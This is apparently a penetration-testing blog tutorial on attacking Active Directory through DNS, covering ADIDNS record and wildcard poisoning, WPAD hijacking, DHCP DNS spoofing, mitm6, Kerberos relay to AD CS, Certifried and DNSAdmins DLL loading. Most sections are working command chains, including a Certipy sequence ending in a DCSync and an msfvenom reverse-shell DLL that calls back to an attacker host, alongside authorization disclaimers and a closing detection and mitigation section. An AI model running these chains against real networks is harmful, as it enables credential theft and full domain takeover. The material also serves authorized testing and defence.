Advanced DNS Penetration Testing: ADIDNS & Relay Attacks
Updated on July 7, 2026
Advanced DNS penetration testing is where Active Directory engagements are won. Most people treat DNS as a recon step - zone transfers, subdomain enumeration, the stuff I already covered in the DNS Pentesting Guide for Port 53. But in a real internal assessment, DNS is an attack surface in its own right. It is where you poison name resolution, coerce authentication, relay hashes, spoof records with no credentials at all, and in some cases walk onto the Domain Controller as SYSTEM.
Now, this post is strictly the advanced material. If you want AXFR, subdomain takeover, SPF/DMARC, or DNS tunneling, read the port 53 guide - none of that is repeated here. What we are covering is ADIDNS poisoning, DHCP DNS spoofing, DNS-based coercion, Kerberos and NTLM relay through DNS, dNSHostName spoofing (Certifried), WINS forward-lookup poisoning, and DNSAdmins-to-Domain-Admin. Every technique is presented in the order you would actually run it on an engagement: enumerate, poison, relay, escalate.
Here is what you will learn in this Active Directory DNS attack guide: how ADIDNS zones are stored and why any authenticated user can write to them, how to enumerate and inject records with Python and PowerShell, how to weaponize wildcard and WPAD records, how unauthenticated attackers abuse DHCP DNS Dynamic Updates, how to chain DNS coercion into a full Kerberos relay, and how to turn a DNS-related attribute or group membership into domain compromise.
- 1. Prerequisites
- 2. What Is ADIDNS and Why It Is a Prime Attack Surface
- 3. Attack Vectors Covered in This Guide
- 4. Reconnaissance: Enumerating the ADIDNS Zone
- 5. ADIDNS Record Injection: The Core Poisoning Technique
- 6. ADIDNS Wildcard Record Poisoning
- 7. WINS Forward-Lookup Poisoning
- 8. WPAD Hijacking Through ADIDNS and the GQBL Bypass
- 9. Unauthenticated Spoofing: DHCP DNS Dynamic Updates
- 10. IPv6 DNS Takeover with mitm6
- 11. DNS Coercion and Kerberos Relay
- 12. Stale ADIDNS Record Abuse: Stealthy RBCD
- 13. Certifried (CVE-2022-26923): dNSHostName Spoofing to DC Takeover
- 14. DNSAdmins to Domain Admin: SYSTEM via DLL Injection
- 15. Detection and Mitigation
- 16. FAQ: Advanced DNS Penetration Testing
- 17. Conclusion
Mastering advanced DNS penetration testing requires hands-on practice, so ensure you have a safe lab environment set up before proceeding. Note: Before pentesting any system, have proper authorization from concerned authorities and follow ethical guidelines. Everything below is meant for sanctioned engagements and lab work.
Prerequisites
- Access Level: Most ADIDNS techniques need a single domain user (any authenticated user). DHCP DNS spoofing needs zero credentials, just network access. Certifried needs one low-priv user plus AD CS in the domain. DNSAdmins-to-DC needs membership in the DNSAdmins group.
- Target Environment: Active Directory domain with AD-integrated DNS (the default). Examples use
domain.local, DC at10.10.10.10, DC hostdc01.domain.local, attacker at10.10.10.20. - Tools:
# krbrelayx toolkit - dnstool.py lives here
git clone https://github.com/dirkjanm/krbrelayx.git
# adidnsdump - dump ADIDNS zones over LDAP as any authenticated user
pip install adidnsdump
# Powermad + Inveigh + PowerView (PowerShell, run on a Windows foothold)
# Download from their respective GitHub repos
# mitm6 for IPv6 DNS takeover
git clone https://github.com/dirkjanm/mitm6 && cd mitm6 && pip install .
# Impacket - ntlmrelayx, smbserver, secretsdump, getST
pip install impacket
# bloodyAD - clean alternative for ADIDNS and dNSHostName operations over LDAP
pip install bloodyAD
# Certipy - AD CS abuse and Certifried
pip install certipy-ad
# DDSpoof - unauthenticated DHCP DNS spoofing
git clone https://github.com/akamai/DDSpoof.git
# Responder (usually pre-installed on Kali)
apt install responder -y
What Is ADIDNS and Why It Is a Prime Attack Surface
So before the commands, understand the "why." Active Directory Domain Services need DNS to function, so AD offers integrated storage and replication for DNS records. This is called Active Directory Integrated DNS (ADIDNS). The zone is stored as objects inside AD itself, usually under the DomainDnsZones partition, and records are managed through a feature called Dynamic Updates that lets each client manage its own record.
Here is the part that matters for us: the ADIDNS zone DACL gives regular authenticated users the CreateChild permission by default. That means any domain user can drop new DNS records into the zone. If you can resolve requests to an arbitrary IP, you hijack traffic, become a man-in-the-middle, and everything downstream - credential capture, relay, RCE - opens up. This mechanism makes ADIDNS poisoning a devastating technique during advanced DNS penetration testing.
ADIDNS Poisoning vs LLMNR/NBT-NS Spoofing
Now, I know what you are thinking - why not just use LLMNR poisoning like everyone else? Two reasons ADIDNS is stronger. First, LLMNR and NBT-NS are limited to a single broadcast/multicast domain, so your reach stops at the subnet boundary. DNS works across the entire domain. Second, DNS sits at the top of the Windows name resolution priority list, so a poisoned DNS record beats an LLMNR response every time. If you already have any authenticated user, ADIDNS poisoning is simply the better name-resolution MITM primitive.
Attack Vectors Covered in This Guide
- ADIDNS record injection - register A records for dead hosts victims are resolving
- ADIDNS wildcard poisoning - one
*record answers every unresolved query in the zone - WPAD hijacking and GQBL bypass via ADIDNS
- WINS forward-lookup poisoning - the primitive that blocks your wildcard
- Stale record abuse - reuse dead entries for stealthy RBCD without touching DNS
- DHCP DNS Dynamic Update spoofing - create and overwrite records with zero credentials
- IPv6 DNS takeover with mitm6
- DNS-based coercion and Kerberos relay to AD CS
- Certifried (CVE-2022-26923) - dNSHostName spoofing to impersonate the DC
- DNSAdmins to Domain Admin - load a DLL as SYSTEM on the Domain Controller
Reconnaissance: Enumerating the ADIDNS Zone
Well, first thing in any DNS attack is to understand what is already in the zone. You need this to find dead hosts worth hijacking, spot existing wildcard records, and confirm you actually have write access. Start read-only, then get more active.
# 1. Passive: dump the entire ADIDNS zone over LDAP (just LDAP reads, very quiet)
adidnsdump -u 'domain.local\username' -p 'Passw0rd!' dc01.domain.local
# List available DNS zones first
adidnsdump -u 'domain.local\username' -p 'Passw0rd!' --print-zones dc01.domain.local
# Resolve records that are not directly readable (uses real DNS queries)
adidnsdump -u 'domain.local\username' -p 'Passw0rd!' -r dc01.domain.local
# Dump a child domain zone from the forest partition
adidnsdump -u 'domain.local\username' -p 'Passw0rd!' dc01.child.domain.local --zone domain.local --forest -r
# 2. Query a specific record with dnstool.py
python3 dnstool.py -u 'domain.local\username' -p 'Passw0rd!' --record 'wpad' --action query dc01.domain.local
# Check for a wildcard record already in the zone
python3 dnstool.py -u 'domain.local\username' -p 'Passw0rd!' --record '*' --action query dc01.domain.local
# 3. Alternative enumeration with bloodyAD
bloodyAD --host 10.10.10.10 -d domain.local -u username -p 'Passw0rd!' get dnsDump
Now, if you are on a Windows foothold, Powermad lets you inspect the zone DACL directly to confirm authenticated users hold CreateChild.
# Import Powermad on the Windows foothold
Import-Module .\Powermad.ps1
# Confirm who can create records - look for S-1-5-11 (Authenticated Users) + CreateChild
Get-ADIDNSPermission | Where-Object -Property IdentityReference -EQ S-1-5-11 | Where-Object -Property ActiveDirectoryRights -EQ CreateChild
# Dump existing node records across all partitions
Get-ADIDNSNodeAttribute -Node * -Attribute DNSRecord
Get-ADIDNSNodeAttribute -Node * -Attribute DNSRecord -Partition System
Get-ADIDNSNodeAttribute -Node * -Attribute DNSRecord -Partition ForestDNSZones
One thing that trips people up: if your record additions have no effect on name resolution, or tools throw NoSuchObject, the zone is probably in the legacy System partition or ForestDnsZones instead of DomainDnsZones. Use --legacy or --forest on dnstool.py, or -Partition with Powermad.
ADIDNS Record Injection: The Core Poisoning Technique
Here is how the basic ADIDNS poisoning attack works. You find a hostname that machines are trying to resolve but that does not exist in DNS - a "dead host" - then register it pointing at your box. Future resolution attempts land on you, and you capture or relay the authentication.
# Add an A record pointing a target hostname at the attacker
python3 dnstool.py -u 'domain.local\username' -p 'Passw0rd!' --record 'application.domain.local' --action add --data 10.10.10.20 dc01.domain.local
# Verify it took
python3 dnstool.py -u 'domain.local\username' -p 'Passw0rd!' --record 'application.domain.local' --action query dc01.domain.local
The PowerShell equivalent using Powermad, from a domain-joined foothold:
# Dynamic update (works when secure dynamic updates allow it)
Import-Module .\Invoke-DNSUpdate.ps1
Invoke-DNSUpdate -DNSType A -DNSName application -DNSData 10.10.10.20 -Verbose
# Or create the node directly through LDAP with Powermad
Import-Module .\Powermad.ps1
New-ADIDNSNode -Node application -Data 10.10.10.20 -Verbose
Then you wait. When a victim resolves that name and connects, you catch the Net-NTLMv2 hash with Responder or relay it live. I cover the full capture-and-crack workflow in my Active Directory relay attacks guide, but the short version:
# Catch the authentication with Responder
sudo responder -I tun0 -v
# Crack the captured Net-NTLMv2 hash
hashcat -m 5600 hash.txt rockyou.txt -r /usr/share/hashcat/rules/InsidePro-PasswordsPro.rule
ADIDNS Wildcard Record Poisoning
This is where ADIDNS gets nasty. Instead of hijacking one dead host, you inject a single wildcard (*) record. The DNS server uses the wildcard to answer any name request that does not explicitly match an existing record in the zone. In effect you become the catch-all for every typo, dead host, and misconfigured lookup in the domain - the DNS equivalent of blanket LLMNR poisoning, but domain-wide.
# Inject a wildcard A record pointing everything unmatched at you
python3 dnstool.py -u 'domain.local\username' -p 'Passw0rd!' --record '*' --action add --data 10.10.10.20 dc01.domain.local
# Powermad version
Import-Module .\Powermad.ps1
New-ADIDNSNode -Node * -Data 10.10.10.20 -Verbose
Be deliberate with wildcards on production engagements - they are loud and can break legitimate resolution across the whole domain. Defenders hunt for exactly this: Windows event 5137 with an ObjectDN starting DC=*. Document the change and clean up when you are done. Proper documentation is a critical component of professional advanced DNS penetration testing.
WINS Forward-Lookup Poisoning
Now here is a gotcha that stops a lot of wildcard attacks dead, and doubles as its own technique. In some environments, adding a wildcard record simply does not work. That is usually because WINS forward lookup is enabled on the zone. WINS forward lookup makes the DNS server fire a NBT-NS query to a predefined WINS server when it gets an address query it cannot answer - which serves the same catch-all purpose as your wildcard and takes precedence over it.
You enumerate the state of WINS forward lookup with dnstool.py. The entry type 65281 (labeled "WINS") exists if the feature is enabled.
# Query the zone root (@) and check for WINS / type 65281
python3 dnstool.py -u 'domain.local\username' -p 'Passw0rd!' --record '@' --action query dc01.domain.local | grep "WINS\|65281"
If WINS forward lookup is on, either target specific dead-host records instead of the wildcard, or - if you have the rights - disable the WINS entry so your wildcard takes effect. Knowing this is why "my wildcard record does nothing" is one of the most common ADIDNS troubleshooting issues on real assessments.
WPAD Hijacking Through ADIDNS and the GQBL Bypass
WPAD (Web Proxy Auto-Discovery) is a gift that keeps giving. Windows clients try to resolve wpad to find proxy settings. Microsoft added a Global Query Block List (GQBL) that blocks wpad and isatap resolution by default (CVE-2018-8320 hardened this). So if you just add a wpad record through ADIDNS, you will often find it does nothing.
The bypass: inject an NS record delegating a subdomain to your own DNS server, which sidesteps the block list. Inveigh's ns action automates injecting the NS record (and a target record) specifically for the wpad GQBL bypass.
# Inveigh handles ADIDNS injection + LLMNR/NBNS + capture in one tool
Import-Module .\Inveigh.ps1
# combo: watches LLMNR/NBNS and adds an ADIDNS record when multiple systems request the same dead name
Invoke-Inveigh -ConsoleOutput Y -ADIDNS combo
# Supply explicit creds for the ADIDNS operations
$SecPassword = ConvertTo-SecureString 'Passw0rd!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('domain.local\username', $SecPassword)
Invoke-Inveigh -ConsoleOutput Y -ADIDNS combo -ADIDNSCredential $Cred -ADIDNSDomain domain.local -ADIDNSDomainController 10.10.10.10
The combo mode is smart - it watches LLMNR/NBNS traffic and only injects an ADIDNS record when it sees the same dead name requested from multiple systems. That extends the attack past subnet boundaries and keeps the noise down versus blindly adding records.
Unauthenticated Spoofing: DHCP DNS Dynamic Updates
Now here is the technique that changed the game, because it needs no credentials at all. Everything above requires a domain user. But Microsoft DHCP servers, enabled by default, register DNS records on behalf of their clients through DHCP DNS Dynamic Updates - and DHCP DNS Dynamic Updates require no authentication by the DHCP client, so an attacker can essentially use the DHCP server to authenticate to the DNS server on their behalf, gaining access to the ADIDNS zone without any credentials.
Akamai's research (the DDSpoof toolset) showed unauthenticated attackers can create non-existent records, and in a large share of environments where the DHCP server is co-located on the DC, even overwrite existing records. That is a machine-in-the-middle primitive with no creds. Microsoft responded that these problems are either by design or not severe enough to fix, so this attack surface is here to stay. For further reading, check out Akamai's original security research on DHCP DNS spoofing.
# Discover DHCP servers on the segment - recon is part of the DHCP protocol itself
python3 ddspoof.py -i eth0
# Inside the DDSpoof shell:
# get-ip request an IP from the discovered server
# add-dns-record <fqdn> <attacker_ip> create a spoofed record
# delete-dns-record <fqdn> clean up afterwards
# Overwrite an existing record where the server allows it (co-located DHCP+DNS+DC)
# add-dns-record dc01.domain.local 10.10.10.20
The impact is broad - you can target Windows machines to intercept NTLM or Kerberos auth for relay or brute-force, target apps running insecure protocols to grab sensitive data, or overwrite the DNS records of security servers like antivirus or SIEM to blind defenders. There is also DHCP Coerce, where abusing the DNS Server option forces the DHCP server itself to authenticate to you over Kerberos, opening a relay path to impersonate its machine account. For blue teams, Akamai's Invoke-DHCPCheckup.ps1 flags the risky misconfigurations.
IPv6 DNS Takeover with mitm6
I have a full dedicated writeup on IPv6 DNS takeover, so I will keep this tight. IPv6 is enabled by default on Windows since Vista, and clients regularly request IPv6 config via DHCPv6. mitm6 answers those requests, assigns the victim an IPv6 address, and sets your box as its primary IPv6 DNS server. Since IPv6 is preferred over IPv4, you now resolve names for the victim - including WPAD - and relay the resulting authentication.
# Start mitm6, scoped to the target domain
sudo mitm6 -d domain.local
# Relay captured authentication to LDAPS and serve a rogue WPAD
sudo ntlmrelayx.py -6 -t ldaps://10.10.10.10 -wh wpad.domain.local -l /tmp/loot
# Target a single host for tighter scope
sudo mitm6 -i eth0 -d domain.local -hw dc01.domain.local -v
Relaying to LDAPS is powerful because you can create a machine account (default MachineAccountQuota is 10) and configure Resource-Based Constrained Delegation for escalation. Chain that with the techniques in the lateral movement and persistence cheatsheet.
DNS Coercion and Kerberos Relay
So NTLM relay is well understood, but Kerberos relaying through DNS is the sharper technique. The trick: when a web server requests Kerberos auth, the SPN it targets is derived from the DNS response name, not the URL. If you control DNS resolution, you control which SPN the victim requests a ticket for - and you relay that ticket.
The classic chain: register a crafted ADIDNS record, coerce a machine to authenticate to that name, then relay the Kerberos AP-REQ with krbrelayx.
# 1. Register a crafted record pointing at the attacker
python3 dnstool.py -u 'domain.local\username' -p 'Passw0rd!' --record 'attacker-name' --action add --data 10.10.10.20 dc01.domain.local
# 2. Coerce the victim to authenticate to that name (PetitPotam, no patch = no creds needed)
python3 PetitPotam.py -u username -p 'Passw0rd!' attacker-name victim.domain.local
# 3. Relay the Kerberos authentication to the target
python3 krbrelayx.py -t smb://victim.domain.local -c whoami
For IPv6 environments, the mitm6 + krbrelayx combination is even cleaner. During poisoning the victim tries to modify its DNS record, gets refused, then authenticates via Kerberos over a TKEY request - and you relay that. Dirk-jan's SOA (Start of Authority) trick pushes this further: by answering DNS SOA requests you can poison a client and force it to send an AP-REQ for an arbitrary service, which you then relay.
# Terminal 1: krbrelayx waiting to relay to AD CS web enrollment
sudo krbrelayx.py --target http://adcs.domain.local/certsrv/ -ip 10.10.10.20 --victim dc01$ --adcs --template Machine
# Terminal 2: mitm6 poisoning the victim, pointing it at the AD CS host
sudo mitm6 -i eth0 -d domain.local -hw dc01.domain.local --relay adcs.domain.local -v
Because DNS maps to the HOST SPN, any host with a HOST service becomes a valid Kerberos relay target. Relaying to LDAP/S is blocked here (TKEY demands signing), but HTTP services like AD CS web enrollment and SCCM do not expect a signature - so those are your prime targets. Relaying to AD CS (ESC8) lets you mint a certificate and authenticate as the victim machine, which frequently means the DC.
Stale ADIDNS Record Abuse: Stealthy RBCD
Here is a slick, low-noise variation. Instead of modifying DNS at all, you exploit stale ADIDNS entries. Dump all records, find ones on your current subnet, check whether anything actually responds on that IP, and if not, statically assign that IP to your own interface. Now you can run a classic RBCD attack against that undotted hostname without ever touching a DNS record - much stealthier, because there is no directory modification to log.
# Dump the zone to find candidate stale entries on your subnet
adidnsdump -u 'domain.local\username' -p 'Passw0rd!' dc01.domain.local
# Confirm the IP is truly dead before claiming it
ping -c 1 10.10.10.55
# Statically assign the stale IP to your interface
sudo ip addr add 10.10.10.55/24 dev eth0
From there it is a standard RBCD or relay chain against the hostname that now resolves to you. I walk through the RBCD mechanics (msDS-AllowedToActOnBehalfOfOtherIdentity, getST impersonation) in the lateral movement cheatsheet.
Certifried (CVE-2022-26923): dNSHostName Spoofing to DC Takeover
Now this one is the crown jewel of DNS-attribute attacks, and it lives at the intersection of DNS and AD CS. Certifried abuses the fact that a computer account's certificate identity is derived from its dNSHostName attribute - and that attribute has no uniqueness constraint. Any DNSHostname can be spoofed when creating a machine account, and an attacker only needs the credentials of one standard domain user.
The catch is that "Validated write to DNS host name" checks your change against the servicePrincipalName attribute, so directly setting your machine's dNSHostName to the DC's raises an SPN uniqueness violation. The bypass is to remove the SPNs that reflect the dNSHostName value first, then modify the dNSHostName to match the computer account you want to impersonate. Once your account carries the DC's DNS name, you request a Machine-template certificate, authenticate as the DC, and DCSync.
Here is the full chain with Certipy, which automates the whole thing:
# 1. Create a new machine account (needs MachineAccountQuota > 0, default is 10)
# and set its dNSHostName to match the target DC
certipy account create -u 'username@domain.local' -p 'Passw0rd!' \
-user 'EVILPC' -pass 'MachinePass123' -dns 'dc01.domain.local' -dc-ip 10.10.10.10
# 2. Request a certificate using the Machine template as the spoofed account
certipy req -u 'EVILPC$@domain.local' -p 'MachinePass123' \
-ca 'DOMAIN-DC01-CA' -template Machine -dc-ip 10.10.10.10
# 3. Authenticate with the cert - returns the DC's NT hash
certipy auth -pfx 'dc01.pfx' -dc-ip 10.10.10.10
# 4. DCSync with the recovered DC machine hash
secretsdump.py 'domain.local/DC01$@dc01.domain.local' -hashes ':<NT_HASH>' -just-dc
If you would rather do the attribute surgery by hand, bloodyAD handles the create/strip-SPN/set-dNSHostName steps over LDAP on Linux, and PowerView's Set-DomainObject does it from a Windows foothold. Certipy is just the fast path. This attack was patched in May 2022, so on patched environments you will see a SID embedded in the issued certificate and it will fail - but unpatched or partially patched estates are still common, which is exactly why it belongs in your DNS attack playbook.
A Note on Certipy's DNS-Relevant Modules
Beyond Certifried, Certipy touches DNS in a couple of ways worth knowing. Its relay module automates ESC8 (HTTP relay to AD CS web enrollment) and ESC11 (RPC relay), which pair directly with the DNS coercion above - you poison DNS, coerce the machine, and relay into Certipy. And its ESC1 requests let you specify an arbitrary DNS SAN with the -dns flag, which matters when a template lets the enrollee supply the subject name:
# Enumerate AD CS - find vulnerable templates and web enrollment (ESC8) exposure
certipy find -u 'username@domain.local' -p 'Passw0rd!' -dc-ip 10.10.10.10 -vulnerable -stdout
# ESC1: request a cert specifying an arbitrary DNS SAN
certipy req -u 'username@domain.local' -p 'Passw0rd!' -ca 'DOMAIN-DC01-CA' \
-template 'VulnTemplate' -dns 'dc01.domain.local'
# ESC8: relay coerced NTLM auth to AD CS web enrollment for a DC certificate
certipy relay -target 'http://adcs.domain.local/certsrv/certfnsh.asp' -template DomainController
DNSAdmins to Domain Admin: SYSTEM via DLL Injection
Finally, the escalation everyone loves. If you land a user in the DNSAdmins group, you own the DC. The Microsoft DNS management protocol lets DnsAdmins members set the ServerLevelPluginDll value via dnscmd.exe, which loads an arbitrary DLL into the DNS service. Since DNS runs as SYSTEM and typically lives on the DC, restarting the service executes your DLL as SYSTEM on the Domain Controller.
# 1. Generate a reverse shell DLL
msfvenom -a x64 -p windows/x64/shell_reverse_tcp LHOST=10.10.10.20 LPORT=4444 -f dll -o plugin.dll
# 2. Host it over SMB with Impacket (avoids AV nuking it on disk)
cd /usr/share/doc/python3-impacket/examples
python3 smbserver.py SHARE /path/to/dll/
# 3. Start the listener
nc -nvlp 4444
# Confirm your user is in DnsAdmins
whoami /all
Get-ADGroupMember -Identity "DnsAdmins"
# Point the DNS service at your remote DLL via UNC path
dnscmd.exe dc01.domain.local /config /serverlevelplugindll \\10.10.10.20\SHARE\plugin.dll
# Restart the DNS service to load the DLL (SYSTEM shell lands on your listener)
sc.exe \\dc01.domain.local stop dns
sc.exe \\dc01.domain.local start dns
Successful execution populates HKLM\SYSTEM\CurrentControlSet\Services\DNS\Parameters\ServerLevelPluginDll - which is exactly how defenders detect it. One real-world limitation: by default DnsAdmins members cannot stop/start services, so you may need to wait for a natural service restart. Newer research (Semperis) covers reload-based variants that leave fewer traces. Once you have SYSTEM on the DC you are at DCSync and full domain takeover, which ties into the broader Domain Controller pentesting workflow.
Detection and Mitigation
For defenders, here is where to focus:
- ADIDNS poisoning: Monitor for directory service object modifications (Event ID 5137) in DNS zones, especially wildcard records where ObjectDN starts with
DC=*. Lock down the zone DACL so authenticated users do not hold CreateChild, and consider an admin-controlled wildcard pointed at0.0.0.0to neutralize both ADIDNS wildcard and LLMNR spoofing. - DHCP DNS spoofing: Run Akamai's
Invoke-DHCPCheckup.ps1. Disable DHCP DNS Dynamic Updates if not required, avoid the DnsUpdateProxy group, use a single dedicated DNS credential across DHCP servers, and do not co-locate DHCP on Domain Controllers. - IPv6 takeover: If IPv6 is not used, disable it via GPO or block rogue DHCPv6/router advertisements. Enable LDAP signing and channel binding to break the relay-to-LDAPS path.
- Kerberos/NTLM relay: Enforce SMB signing everywhere and enable Extended Protection for Authentication (EPA) on AD CS web enrollment and other HTTP endpoints.
- Certifried: Apply the May 2022 patches (KB5014754). Move to full enforcement mode so certificates carry the SID mapping.
- DNSAdmins: Treat DnsAdmins as Tier-0. Audit membership, alert on
ServerLevelPluginDllregistry writes, and correlate DNS service restarts with new DLL loads.
FAQ: Advanced DNS Penetration Testing
What is ADIDNS poisoning?
ADIDNS poisoning is an attack where a domain user adds or modifies records in an Active Directory Integrated DNS zone to redirect name resolution to an attacker-controlled host. Because the zone's default permissions let any authenticated user create records, the attacker becomes a man-in-the-middle and can capture or relay authentication across the entire domain.
Do I need admin rights to abuse ADIDNS?
No. The default ADIDNS zone DACL grants Authenticated Users the CreateChild permission, so any single domain account can inject new DNS records. DHCP DNS Dynamic Update spoofing goes further and requires no credentials at all.
What is the difference between ADIDNS poisoning and LLMNR spoofing?
LLMNR and NBT-NS spoofing are limited to a single broadcast/multicast subnet, while ADIDNS operates domain-wide over DNS and sits higher in the Windows name-resolution priority list. ADIDNS is the stronger primitive once you have any authenticated user.
Why does my ADIDNS wildcard record do nothing?
The most common cause is WINS forward lookup being enabled on the zone (DNS entry type 65281), which pre-empts the wildcard. The other common cause is the zone being stored in the System or ForestDnsZones partition, requiring the --legacy or --forest flag in dnstool.py.
Is Certifried still exploitable in 2026?
CVE-2022-26923 was patched in May 2022, and fully enforced, patched environments are not vulnerable. However, unpatched or partially patched estates remain common, so it is still worth testing on any assessment where AD CS is present.
Conclusion
Advanced DNS penetration testing comes down to one insight: in Active Directory, whoever controls name resolution controls authentication, and authentication is the whole game. From authenticated ADIDNS poisoning to fully unauthenticated DHCP DNS spoofing, from Kerberos relay through crafted DNS names to Certifried and DNSAdmins-to-SYSTEM, these techniques chain into some of the cleanest paths to domain compromise you will find.
Practice the enumerate-poison-relay-escalate flow in a lab until it is muscle memory, then layer it with the coercion and delegation abuse in the related guides linked throughout. And as always - only ever run this against systems you are explicitly authorized to test. A disciplined approach to advanced DNS penetration testing will drastically improve your internal assessment success rate.
Happy hacking!
Enjoyed this guide? Share your thoughts below and tell us how you leverage advanced DNS penetration testing in your projects!


No comments:
Post a Comment